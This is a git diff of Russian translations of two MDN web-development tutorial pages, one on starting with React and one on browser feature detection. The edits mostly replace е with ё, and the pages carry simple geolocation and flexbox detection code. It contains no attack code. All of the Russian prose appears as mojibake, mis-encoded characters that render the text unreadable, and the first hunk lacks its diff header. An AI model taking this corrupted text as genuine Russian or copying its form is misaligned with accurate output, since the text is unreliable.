<p>Π₯отя React <em>ΠΌΠΎΠΆΠ½ΠΎ</em> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для <a href="https://ru.reactjs.org/docs/add-react-to-a-website.html">Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… частСй интСрфСйса</a>, Β«Π·Π°ΠΉΡ‚ΠΈΒ» Π² Π½Π΅Π³ΠΎ Π½Π΅ Ρ‚Π°ΠΊ просто, ΠΊΠ°ΠΊ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β Π² jQuery, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π²ΠΎΒ Vue. ΠšΡƒΠ΄Π° Π»Π΅Π³Ρ‡Π΅ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒΒ ΡΠΎΠ·Π΄Π°Π² всё прилоТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ React.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊΠΈΠ΅ прСимущСства React-прилоТСния,Β ΠΊΠ°ΠΊ написаниС интСрфСйсов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ JSX,Β Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ процСсса компиляции. Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅Β Π½Π° сайт компилятора BabelΒ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π±ΠΎΠ»Π΅Π΅ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π°, поэтому такиС инструмСнты ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ для процСсса сборки. Π”Π°, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΒ React Π΅ΡΡ‚ΡŒ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹Π΅ трСбования к ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΡŽ, Π½ΠΎ этому ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊΠΈΠ΅ прСимущСства React-прилоТСния,Β ΠΊΠ°ΠΊ написаниС интСрфСйсов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ JSX,Β Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ процСсса компиляции. Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅Β Π½Π° сайт компилятора BabelΒ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π±ΠΎΠ»Π΅Π΅ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π°, поэтому такиС инструмСнты ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ для процСсса сборки. Π”Π°, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΒ React Π΅ΡΡ‚ΡŒ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹Π΅ трСбования к ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΡŽ, Π½ΠΎ этому ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ.</p>
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ основноС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π΅Π»Π΅Π½ΠΎ использованию React для создания всСго ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="https://create-react-app.dev/">create-react-app</a>, прСдоставляСмого Facebook.</p>
diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html
index 5f3233d635..e96fcf7bf7 100644
--- a/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html
+++ b/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection
<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</div>
-<p class="summary">ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ ΠΎΠ½ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всСгда ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π° Π½Π΅ сбой / ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описываСтся, ΠΊΠ°ΠΊ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнноС простоС ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для ускорСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <code>@supports</code>.</p>
+<p class="summary">ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ ΠΎΠ½ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всСгда ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π° Π½Π΅ сбой / ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описываСтся, ΠΊΠ°ΠΊ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнноС простоС ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для ускорСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <code>@supports</code>.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,9 +24,9 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ_обнаруТСния_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</h2>
-<p>ИдСя обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ тСст, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, поддСрТиваСтся Π»ΠΈ функция Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ условно Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΉ ΠΎΠΏΡ‹Ρ‚ ΠΊΠ°ΠΊ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‚Π°ΠΊ ΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚. Если Π²Ρ‹ этого Π½Π΅ сдСлаСтС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π² своСм ΠΊΠΎΠ΄Π΅, Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ваши сайты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈ просто Π½Π΅ ΡΡ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚, создавая ΠΏΠ»ΠΎΡ…ΠΎΠΉ ΠΎΠΏΡ‹Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>ИдСя обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ тСст, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, поддСрТиваСтся Π»ΠΈ функция Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ условно Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΉ ΠΎΠΏΡ‹Ρ‚ ΠΊΠ°ΠΊ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‚Π°ΠΊ ΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚. Если Π²Ρ‹ этого Π½Π΅ сдСлаСтС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π² своём ΠΊΠΎΠ΄Π΅, Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ваши сайты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈ просто Π½Π΅ ΡΡ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚, создавая ΠΏΠ»ΠΎΡ…ΠΎΠΉ ΠΎΠΏΡ‹Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ΄Π²Π΅Π΄Π΅ΠΌ ΠΈΡ‚ΠΎΠ³ΠΈ ΠΈ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΠ»ΠΈ Π² нашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Feature_detection">РСшСниС самых распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ JavaScript</a>β€”Β <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">ИспользованиС Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ</a> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт доступныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ мСстополоТСнии для устройства, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) Π΅ΡΡ‚ΡŒ основная Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° для Π΅Π³ΠΎ использования, свойство <code>geolocation,</code>  доступноС Π½Π° глобальном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <a href="/en-US/docs/Web/API/Navigator">Navigator</a>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ΄Π²Π΅Π΄Ρ‘ΠΌ ΠΈΡ‚ΠΎΠ³ΠΈ ΠΈ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΠ»ΠΈ Π² нашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Feature_detection">РСшСниС самых распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ JavaScript</a>β€”Β <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">ИспользованиС Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ</a> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт доступныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ мСстополоТСнии для устройства, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) Π΅ΡΡ‚ΡŒ основная Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° для Π΅Π³ΠΎ использования, свойство <code>geolocation,</code>  доступноС Π½Π° глобальном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <a href="/en-US/docs/Web/API/Navigator">Navigator</a>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ:</p>
<pre class="language-js"><span class="keyword token">if </span><span class="punctuation token">(</span><span class="string token">"geolocation"</span> <span class="keyword token">in</span> navigator<span class="punctuation token">)</span> <span class="punctuation token">{</span>
navigator<span class="punctuation token">.</span>geolocation<span class="punctuation token">.</span><span class="function token">getCurrentPosition</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>position<span class="punctuation token">)</span> <span class="punctuation token">{</span>
@@ -48,7 +48,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ тСсты для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ CSS, протСстировав сущСствованиС <em><a href="/en-US/docs/Web/API/HTMLElement/style">element.style.property</a></em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>paragraph.style.transform</code>) Π²Β JavaScript.</p>
-<p>ΠšΠ»Π°ΡΡΠΈΡ‡Π΅ΡΠΊΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅; для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ новСйшиС спСцификации Flexbox, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³ΠΈΠ±ΠΊΡƒΡŽ ΠΈ Π½Π°Π΄Π΅ΠΆΠ½ΡƒΡŽ Π³ΠΈΠ±ΠΊΡƒΡŽ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΡƒ. Для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ этого Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, хотя ΠΎΠ½ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ…Ρ€ΡƒΠΏΠΊΠΈΠΉ ΠΈ хакСрский, ΠΈ Π½Π΅ Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ.</p>
+<p>ΠšΠ»Π°ΡΡΠΈΡ‡Π΅ΡΠΊΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅; для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ новСйшиС спСцификации Flexbox, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³ΠΈΠ±ΠΊΡƒΡŽ ΠΈ Π½Π°Π΄Ρ‘ΠΆΠ½ΡƒΡŽ Π³ΠΈΠ±ΠΊΡƒΡŽ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΡƒ. Для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ этого Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, хотя ΠΎΠ½ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ…Ρ€ΡƒΠΏΠΊΠΈΠΉ ΠΈ хакСрский, ΠΈ Π½Π΅ Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ дСмонстрируСт это, хотя ΠΌΡ‹ ΠΏΠΎΠΊΠ° оставим это простым.</p>
@@ -71,13 +71,13 @@ if (testElem.style.flex !== undefined &amp;&amp; testElem.style.flexFlow !== und
</li>
</ol>
